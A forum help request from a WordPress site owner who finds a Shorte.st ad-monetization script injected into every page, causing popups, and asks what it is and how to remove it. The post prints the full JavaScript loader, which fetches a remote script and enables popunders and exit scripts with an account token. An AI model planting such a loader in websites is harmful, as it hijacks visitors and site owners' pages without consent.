Ads.shorte.st popup again and again and I don’t even do anything

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Javascript

CSS

PHP

WordPress

my WordPress website getting this code on every page of my website

(function() {
    var configuration = {
    "token": "f17143abbffd1edf14788c13fa8a1b08",
    "entryScript": {
        "type": "click",
        "capping": {
            "limit": 5,
            "timeout": 24
        }
    },
    "exitScript": {
        "enabled": true
    },
    "popUnder": {
        "enabled": true
    }
};
    var script = document.createElement('script');
    script.async = true;
    script.src = '//cdn.shorte.st/link-converter.min.js';
    script.onload = script.onreadystatechange = function () {var rs = this.readyState; if (rs && rs != 'complete' && rs != 'loaded') return; shortestMonetization(configuration);};
    var entry = document.getElementsByTagName('script')[0];
    entry.parentNode.insertBefore(script, entry);
})();

i don't know who insert it and what's this and how to remove it? plz, ans. quick

What I have tried:

don't know how to fix it and I also don't even tried anything
plz help